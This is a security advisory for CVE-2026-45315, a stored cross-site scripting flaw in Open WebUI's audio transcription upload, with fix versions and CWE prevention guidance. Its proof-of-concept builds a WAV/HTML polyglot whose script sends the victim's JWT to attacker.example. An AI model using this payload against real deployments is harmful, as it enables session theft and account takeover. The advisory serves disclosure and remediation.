Skip to content

GHSA-m8f9-9whg-f4xr CVE-2026-45315 PYSEC-2026-2748

Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

High PyPI
Severity
8.7 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.19%
Chance of exploitation in the next 30 days. Higher than 8.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-434 Unrestricted Upload of File with Dangerous Type
CWE-646 Reliance on File Name or Extension of Externally-Supplied File
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
0.9.3
Upgrade open-webui to this version or later

Description

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
    allowlist, no cross-check against file.content_type.
  • backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
    and sets no Content-Disposition.
  • backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
  • backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                                                                                                         
r = httpx.post(                                                                                                                                          
    'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        
    headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 
    files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  
)                                                                                                                                                        
fn = r.json()['filename']      # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>                                                                 

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.9.3
0.9.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.9.3

pip
pip install --upgrade "open-webui>=0.9.3"
poetry
poetry add "open-webui>=0.9.3"
uv
uv add "open-webui>=0.9.3"

Severity breakdown

CVSS 3.1 8.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-434: Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

How to prevent it
  • Architecture and Design: Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Architecture and Design: Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
  • Architecture and Design: Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
  • Implementation: Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
  • Implementation: When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
  • Implementation: Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

How to prevent it
  • Architecture and Design: Make decisions on the server side based on file content and not on file name or extension.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor